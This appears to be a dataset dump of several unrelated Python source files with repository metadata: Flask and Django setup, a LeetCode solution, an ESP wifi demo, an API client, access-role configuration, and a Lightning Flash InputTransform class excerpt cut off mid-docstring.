wlsouza/flasklivery
564c6135d29493ae5efe074488cb0df7f811d889
[ "Unlicense" ]
null
null
null
devlivery/ext/migrate/__init__.py
wlsouza/flasklivery
564c6135d29493ae5efe074488cb0df7f811d889
[ "Unlicense" ]
null
null
null
devlivery/ext/migrate/__init__.py
wlsouza/flasklivery
564c6135d29493ae5efe074488cb0df7f811d889
[ "Unlicense" ]
null
null
null
from flask import Flask from flask_migrate import Migrate from devlivery.ext.db import db migrate = Migrate() def init_app(app: Flask): migrate.init_app(app, db)
15.454545
33
0.758824
27
170
4.666667
0.37037
0.142857
0.15873
0
0
0
0
0
0
0
0
0
0.164706
170
10
34
17
0.887324
0
0
0
0
0
0
0
0
0
0
0
0
1
0.166667
false
0
0.5
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
102f51bc17643b398143c26098d6f0bd199096fd
342
py
Python
src/property_app/app_info.py
almostprod/property-app
2e9dc6c64e7fd91d287fc95e513fa3ab1079fa54
[ "Apache-2.0" ]
2
2020-03-03T16:52:31.000Z
2020-03-17T21:35:30.000Z
src/property_app/app_info.py
amcclosky/property-app
9afb0210739955ff19bfcb477acdbd07521ce851
[ "Apache-2.0" ]
1
2021-05-11T16:54:56.000Z
2021-05-11T16:54:56.000Z
src/property_app/app_info.py
amcclosky/property-app
9afb0210739955ff19bfcb477acdbd07521ce851
[ "Apache-2.0" ]
1
2020-05-04T06:39:35.000Z
2020-05-04T06:39:35.000Z
import time from dataclasses import dataclass from datetime import date, datetime from property_app.config import get_config config = get_config() @dataclass class AppInfo: project: str = config.ASGI_APP commit_hash: str = config.APP_BUILD_HASH build_date: date = datetime.today() build_epoch_sec: int = int(time.time())
20.117647
44
0.75731
48
342
5.1875
0.479167
0.096386
0
0
0
0
0
0
0
0
0
0
0.169591
342
16
45
21.375
0.876761
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.363636
0
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
10485a191600110454b70bb7ff198f1ba032639d
544
py
Python
network/demo_espat_ap_test.py
708yamaguchi/MaixPy_scripts
5f1774e739fb7eecab344d619c0cd63a71ff3d4f
[ "MIT" ]
485
2019-03-18T10:53:59.000Z
2022-03-27T09:02:08.000Z
network/demo_espat_ap_test.py
708yamaguchi/MaixPy_scripts
5f1774e739fb7eecab344d619c0cd63a71ff3d4f
[ "MIT" ]
110
2019-04-04T09:07:39.000Z
2022-03-03T08:08:19.000Z
network/demo_espat_ap_test.py
708yamaguchi/MaixPy_scripts
5f1774e739fb7eecab344d619c0cd63a71ff3d4f
[ "MIT" ]
379
2019-03-18T04:48:46.000Z
2022-03-30T00:29:29.000Z
# This file is part of MaixPY # Copyright (c) sipeed.com # # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license.php # from network_espat import wifi wifi.reset() print(wifi.at_cmd("AT\r\n")) print(wifi.at_cmd("AT+GMR\r\n")) ''' >>> reset... b'\r\n\r\nOK\r\n' b'AT version:1.1.0.0(May 11 2016 18:09:56)\r\nSDK version:1.5.4(baaeaebb)\r\ncompile time:May 20 2016 15:06:44\r\nOK\r\n' MicroPython v0.5.1-136-g039f72b6c-dirty on 2020-11-18; Sipeed_M1 with kendryte-k210 Type "help()" for more information. >>> '''
24.727273
121
0.696691
107
544
3.504673
0.654206
0.026667
0.058667
0.074667
0.085333
0
0
0
0
0
0
0.113872
0.112132
544
21
122
25.904762
0.662526
0.251838
0
0
0
0
0.137931
0
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0.5
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
2
10527d2aa82328718d79fcf72f8bc5b68e57039d
405
py
Python
tests/urls.py
xiu1/django-rest
3ba381a8f8be8a27af464839dcdd5677857043ba
[ "MIT" ]
null
null
null
tests/urls.py
xiu1/django-rest
3ba381a8f8be8a27af464839dcdd5677857043ba
[ "MIT" ]
null
null
null
tests/urls.py
xiu1/django-rest
3ba381a8f8be8a27af464839dcdd5677857043ba
[ "MIT" ]
null
null
null
from django.conf.urls import include, url from django.contrib import admin from rest.views import TestRestView, TestAuthHeaderView, TestAuthUrlView urlpatterns = [ url('^rest/$', TestRestView.as_view(), name='rest'), url('^auth_header_rest/$', TestAuthHeaderView.as_view(), name='rest_auth_header'), url('^auth_url_rest/(?P<api_key>.+)/$', TestAuthUrlView.as_view(), name='rest_auth_url'), ]
40.5
93
0.735802
52
405
5.5
0.442308
0.062937
0.104895
0.146853
0.125874
0
0
0
0
0
0
0
0.101235
405
9
94
45
0.785714
0
0
0
0
0
0.224691
0.079012
0
0
0
0
0
1
0
false
0
0.375
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
105b04f24aada022dca8226b67acae586bf9c15f
738
py
Python
860-lemonade-change.py
Iciclelz/leetcode
e4b698e0161033922851641885fdc6e47f9ce270
[ "Apache-2.0" ]
null
null
null
860-lemonade-change.py
Iciclelz/leetcode
e4b698e0161033922851641885fdc6e47f9ce270
[ "Apache-2.0" ]
null
null
null
860-lemonade-change.py
Iciclelz/leetcode
e4b698e0161033922851641885fdc6e47f9ce270
[ "Apache-2.0" ]
null
null
null
class Solution: def lemonadeChange(self, bills: List[int]) -> bool: money = [0, 0, 0] for x in bills: if x == 5: money[0] += 1 if x == 10: if money[0] >= 1: money[1] += 1 money[0] -= 1 else: return False if x == 20: if money[1] >= 1 and money[0] >= 1: money[2] += 1 money[1] -= 1 money[0] -= 1 elif money[0] >= 3: money[2] += 1 money[0] -= 3 else: return False return True
29.52
55
0.295393
74
738
2.945946
0.364865
0.220183
0.16055
0.110092
0.137615
0.137615
0.137615
0
0
0
0
0.108108
0.598916
738
25
56
29.52
0.628378
0
0
0.347826
0
0
0
0
0
0
0
0
0
1
0.043478
false
0
0
0
0.217391
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
105c2eb00700830d7030c477994f8f358f536d08
1,231
py
Python
Software/Services/__init__.py
Hackin7/BlockComPi
36938e219b42c5d220db0a64e4718e95720c4850
[ "X11" ]
null
null
null
Software/Services/__init__.py
Hackin7/BlockComPi
36938e219b42c5d220db0a64e4718e95720c4850
[ "X11" ]
null
null
null
Software/Services/__init__.py
Hackin7/BlockComPi
36938e219b42c5d220db0a64e4718e95720c4850
[ "X11" ]
null
null
null
#Do Not Edit #colors R G B white = (255, 255, 255) red = (255, 0, 0) green = ( 0, 255, 0) blue = ( 0, 0, 255) black = ( 0, 0, 0) cyan = ( 50, 255, 255) magenta = (255, 0, 255) yellow = (255, 255, 0) orange = (255, 127, 0) #The Service/Notifications List # Layout: import (service) import FONAservice import FONAmessage service = [] def run(sv): global service #print service if sv.check() == 1: service.insert(0,sv.func) def code(): print 'WHAT THE FRUCK IS THIS MOTHERFUCKING SHIT?' #Put code to direct to other program notif = [("F", green, 24, code),("F", blue, 24, code),("F", red, 24, code),("F", cyan, 24, code),("F", yellow, 24, code)] def putup(nc): global notif # Notif Structure (Label, colour, fontsize, setfunction) if nc.check() == 1: notif.insert(0, nc.layout) shit = 1 def check(): global notif #Notif layout: putup(notif) putup(FONAmessage) global shit if shit == 1: #Notif Structure (Label, colour, fontsize, setfunction) notif.insert(0, ("F", green, 24, code)) shit = 0 global service #Service layout: run(service) run(FONAservice)
24.62
122
0.57108
169
1,231
4.159763
0.35503
0.051209
0.039829
0.034139
0.125178
0.125178
0
0
0
0
0
0.086364
0.285134
1,231
49
123
25.122449
0.7125
0.263201
0
0.129032
1
0
0.056604
0
0
0
0
0
0
0
null
null
0
0.064516
null
null
0.032258
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
1064936a6b00c876007e8bb9831e079b131672ea
50
py
Python
models/__init__.py
yoshikawat64m/kalman-variational-auto-encoder
7d7d0ed170746267f26cc869a8645b2c93da350d
[ "MIT" ]
null
null
null
models/__init__.py
yoshikawat64m/kalman-variational-auto-encoder
7d7d0ed170746267f26cc869a8645b2c93da350d
[ "MIT" ]
null
null
null
models/__init__.py
yoshikawat64m/kalman-variational-auto-encoder
7d7d0ed170746267f26cc869a8645b2c93da350d
[ "MIT" ]
null
null
null
from .kvae import KVAE __all__ = ( 'KVAE', )
8.333333
22
0.58
6
50
4.166667
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.28
50
5
23
10
0.694444
0
0
0
0
0
0.08
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
109b329d3c687011ac089097beb800b987a7d727
1,108
py
Python
chat_manager_api/categories/account.py
lordralinc/chat_manager_api
6c1d57f1d4942d53ee70099ea91f4cbb14b63aab
[ "MIT" ]
null
null
null
chat_manager_api/categories/account.py
lordralinc/chat_manager_api
6c1d57f1d4942d53ee70099ea91f4cbb14b63aab
[ "MIT" ]
null
null
null
chat_manager_api/categories/account.py
lordralinc/chat_manager_api
6c1d57f1d4942d53ee70099ea91f4cbb14b63aab
[ "MIT" ]
null
null
null
from chat_manager_api.categories.base import BaseAPICategory from chat_manager_api.models import account class AccountAPICategory(BaseAPICategory): def get_web_hook_info(self) -> account.GetWebHookInfo: return self.api.make_request("account.getWebHookInfo", dataclass=account.GetWebHookInfo) async def get_web_hook_info_async(self) -> account.GetWebHookInfo: return await self.api.make_request_async("account.getWebHookInfo", dataclass=account.GetWebHookInfo) def set_web_hook(self, url: str) -> account.SetWebHook: return self.api.make_request("account.setWebHook", data=dict(url=url), dataclass=account.SetWebHook) async def set_web_hook_async(self, url: str) -> account.SetWebHook: return await self.api.make_request_async("account.setWebHook", data=dict(url=url), dataclass=account.SetWebHook) def remove_web_hook(self) -> str: return self.api.make_request("account.removeWebHook", dataclass=str) async def remove_web_hook_async(self) -> str: return await self.api.make_request_async("account.removeWebHook", dataclass=str)
46.166667
120
0.768953
142
1,108
5.788732
0.232394
0.051095
0.080292
0.131387
0.59854
0.450122
0.279805
0.279805
0.138686
0
0
0
0.129964
1,108
23
121
48.173913
0.852697
0
0
0
0
0
0.110108
0.077617
0
0
0
0
0
1
0.2
false
0
0.133333
0.2
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
1
0
0
2
10a3272e6ee4e0b4d86ddd253e763f6e83ab8cca
780
py
Python
sponge-examples-projects/sponge-examples-project-spring-boot/sponge/remote_api_security.py
mnpas/sponge
7190f23ae888bbef49d0fbb85157444d6ea48bcd
[ "Apache-2.0" ]
9
2017-12-16T21:48:57.000Z
2022-01-06T12:22:24.000Z
sponge-examples-projects/sponge-examples-project-spring-boot/sponge/remote_api_security.py
mnpas/sponge
7190f23ae888bbef49d0fbb85157444d6ea48bcd
[ "Apache-2.0" ]
3
2020-12-18T11:56:46.000Z
2022-03-31T18:37:10.000Z
sponge-examples-projects/sponge-examples-project-spring-boot/sponge/remote_api_security.py
mnpas/sponge
7190f23ae888bbef49d0fbb85157444d6ea48bcd
[ "Apache-2.0" ]
2
2019-12-29T16:08:32.000Z
2020-06-15T14:05:34.000Z
""" Sponge Knowledge Base Remote API security """ def configureAccessService(): # Configure the RoleBasedAccessService. # Simple access configuration: role -> knowledge base names regexps. remoteApiServer.accessService.addRolesToKb({ "ROLE_ADMIN":[".*"], "ROLE_ANONYMOUS":["boot", "python"]}) # Simple access configuration: role -> event names regexps. remoteApiServer.accessService.addRolesToSendEvent({ "ROLE_ADMIN":[".*"], "ROLE_ANONYMOUS":[]}) remoteApiServer.accessService.addRolesToSubscribeEvent({ "ROLE_ADMIN":[".*"], "ROLE_ANONYMOUS":[".*"]}) def onStartup(): # Configure the access service on startup. configureAccessService() def onAfterReload(): # Reconfigure the access service after each reload. configureAccessService()
33.913043
107
0.723077
68
780
8.205882
0.529412
0.150538
0.069892
0.11828
0
0
0
0
0
0
0
0
0.139744
780
22
108
35.454545
0.831595
0.379487
0
0.25
0
0
0.190678
0
0
0
0
0
0
1
0.375
true
0
0
0
0.375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
0
0
0
2
10b3992140f6b71f5bf7a94b467357cdf363478d
417
py
Python
tests/test_cli.py
sthagen/python-xmllint_map_html
23363cfe1c126bc72efddf8fea084283375e2204
[ "MIT" ]
null
null
null
tests/test_cli.py
sthagen/python-xmllint_map_html
23363cfe1c126bc72efddf8fea084283375e2204
[ "MIT" ]
16
2020-09-11T11:07:09.000Z
2020-12-06T16:42:18.000Z
tests/test_cli.py
sthagen/python-xmllint_map_html
23363cfe1c126bc72efddf8fea084283375e2204
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # pylint: disable=missing-docstring,unused-import,reimported import io import json import pytest # type: ignore import xmllint_map_html.cli as cli import xmllint_map_html.xmllint_map_html as xmh def test_main_ok_minimal(capsys): job = [''] report_expected = '' assert cli.main(argv=job) == 0 out, err = capsys.readouterr() assert out.strip() == report_expected.strip()
24.529412
60
0.714628
59
417
4.864407
0.627119
0.10453
0.146341
0.139373
0
0
0
0
0
0
0
0.005747
0.165468
417
16
61
26.0625
0.818966
0.223022
0
0
0
0
0
0
0
0
0
0
0.181818
1
0.090909
false
0
0.454545
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
10bb63ae565c938efcb0bb9a6dc0a388e76e7918
46,242
py
Python
flash/core/data/io/input_transform.py
ar90n/lightning-flash
61e1a2d3b72f8fbbffe6ace14fb5b5bb35c5f131
[ "Apache-2.0" ]
null
null
null
flash/core/data/io/input_transform.py
ar90n/lightning-flash
61e1a2d3b72f8fbbffe6ace14fb5b5bb35c5f131
[ "Apache-2.0" ]
null
null
null
flash/core/data/io/input_transform.py
ar90n/lightning-flash
61e1a2d3b72f8fbbffe6ace14fb5b5bb35c5f131
[ "Apache-2.0" ]
null
null
null
# Copyright The PyTorch Lightning team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import inspect from dataclasses import dataclass from functools import partial from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple from pytorch_lightning.utilities import rank_zero_warn from pytorch_lightning.utilities.enums import LightningEnum from pytorch_lightning.utilities.exceptions import MisconfigurationException from flash.core.data.callback import ControlFlow from flash.core.data.transforms import ApplyToKeys from flash.core.data.utilities.collate import default_collate from flash.core.data.utils import _INPUT_TRANSFORM_FUNCS, _STAGES_PREFIX from flash.core.utilities.stages import RunningStage from flash.core.utilities.types import INPUT_TRANSFORM_TYPE class InputTransformPlacement(LightningEnum): PER_SAMPLE_TRANSFORM = "per_sample_transform" PER_BATCH_TRANSFORM = "per_batch_transform" COLLATE = "collate" PER_SAMPLE_TRANSFORM_ON_DEVICE = "per_sample_transform_on_device" PER_BATCH_TRANSFORM_ON_DEVICE = "per_batch_transform_on_device" class ApplyToKeyPrefix(LightningEnum): INPUT = "input" TARGET = "target" INVALID_STAGES_FOR_INPUT_TRANSFORMS = [RunningStage.SANITY_CHECKING, RunningStage.TUNING] # Credit to Torchvision Team: # https://pytorch.org/vision/stable/_modules/torchvision/transforms/transforms.html#Compose class Compose: """Composes several transforms together. This transform does not support torchscript. """ def __init__(self, transforms): self.transforms = transforms def __call__(self, x): for t in self.transforms: x = t(x) return x def __repr__(self): format_string = self.__class__.__name__ + "(" for t in self.transforms: format_string += "\n" format_string += f"{t}" format_string += "\n)" return format_string @dataclass class _InputTransformPerStage: collate_in_worker_from_transform: Optional[bool] = None transforms: Optional[Dict[str, Callable]] = None @dataclass class InputTransform: def __post_init__(self): self.callbacks: Optional[List] = None # used to keep track of provided transforms self._transform: Dict[RunningStage, _InputTransformPerStage] = {} # For all the stages possible, set/load the transforms. for stage in RunningStage: if stage not in INVALID_STAGES_FOR_INPUT_TRANSFORMS: self._populate_transforms_for_stage(stage) def current_transform(self, stage: RunningStage, current_fn: str) -> Callable: if stage in [RunningStage.SANITY_CHECKING, RunningStage.TUNING]: raise KeyError( f"Transforms are only defined for stages:" f"\t{[stage for stage in RunningStage if stage not in INVALID_STAGES_FOR_INPUT_TRANSFORMS]}" f"But received {stage} instead." ) # Check is transforms are present and the key is from the Enum defined above. if InputTransformPlacement.from_str(current_fn) is None: raise KeyError( f"{[fn for fn in InputTransformPlacement]} are the only allowed keys to retreive the transform." f"But received {current_fn} instead." ) return self._transform[stage].transforms.get(current_fn, self._identity) ######################## # PER SAMPLE TRANSFORM # ######################## def per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for all stages stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each sample on device for all stages stage.""" pass def target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each sample on device for all stages stage.""" pass def train_per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for the training stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def train_input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the training stage.""" pass def train_target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the training stage.""" pass def val_per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for the validating stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def val_input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the validating stage.""" pass def val_target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the validating stage.""" pass def test_per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for the testing stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def test_input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the testing stage.""" pass def test_target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the testing stage.""" pass def predict_per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for the predicting stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def predict_input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the predicting stage.""" pass def predict_target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the predicting stage.""" pass def serve_per_sample_transform(self) -> Callable: """Defines the transform to be applied on a single sample on cpu for the serving stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def serve_input_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the serving stage.""" pass def serve_target_per_sample_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the serving stage.""" pass ################################## # PER SAMPLE TRANSFORM ON DEVICE # ################################## def per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on a single sample on device for all stages stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def input_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each sample on device for all stages stage.""" pass def target_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each sample on device for all stages stage.""" pass def train_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on a single sample on device for the training stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def train_input_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the training stage.""" pass def train_target_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the training stage.""" pass def val_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on a single sample on device for the validating stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def val_input_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the validating stage.""" pass def val_target_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the validating stage.""" pass def test_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on a single sample on device for the testing stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def test_input_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the testing stage.""" pass def test_target_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the testing stage.""" pass def predict_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on a single sample on device for the predicting stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_sample_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def predict_input_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the predicting stage.""" pass def predict_target_per_sample_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the predicting stage.""" pass ####################### # PER BATCH TRANSFORM # ####################### def per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for all stages stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of batch on cpu for all stages stage.""" pass def target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of batch on cpu for all stages stage.""" pass def train_per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for the training stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def train_input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the training stage.""" pass def train_target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the training stage.""" pass def val_per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for the validating stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def val_input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the validating stage.""" pass def val_target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the validating stage.""" pass def test_per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for the testing stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def test_input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the testing stage.""" pass def test_target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the testing stage.""" pass def predict_per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for the predicting stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def predict_input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the predicting stage.""" pass def predict_target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the predicting stage.""" pass def serve_per_batch_transform(self) -> Callable: """Defines the transform to be applied on a batch of data on cpu for the serving stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def serve_input_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on cpu for the serving stage.""" pass def serve_target_per_batch_transform(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on cpu for the serving stage.""" pass ################################# # PER BATCH TRANSFORM ON DEVICE # ################################# def per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on a batch of data on device for all stages stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def input_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of batch on device for all stages stage.""" pass def target_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of batch on device for all stages stage.""" pass def train_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on a batch of data on device for the training stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } """ pass def train_input_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "input" key of each single sample on device for the training stage.""" pass def train_target_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on the value associated with the "target" key of each single sample on device for the training stage.""" pass def val_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on a batch of data on device for the validating stage. The input data of the transform would have the following form:: { DataKeys.INPUT: ..., DataKeys.TARGET: ..., DataKeys.METADATA: ..., } You would need to use :class:`flash.core.data.transforms.ApplyToKeys` as follows: .. code-block:: python from flash.core.data.transforms import ApplyToKeys class MyInputTransform(InputTransform): def per_batch_transform_on_device(self) -> Callable: return ApplyToKeys("input", my_func) """ pass def val_input_per_batch_transform_on_device(self) -> Callable: """Defines the transform to be applied on 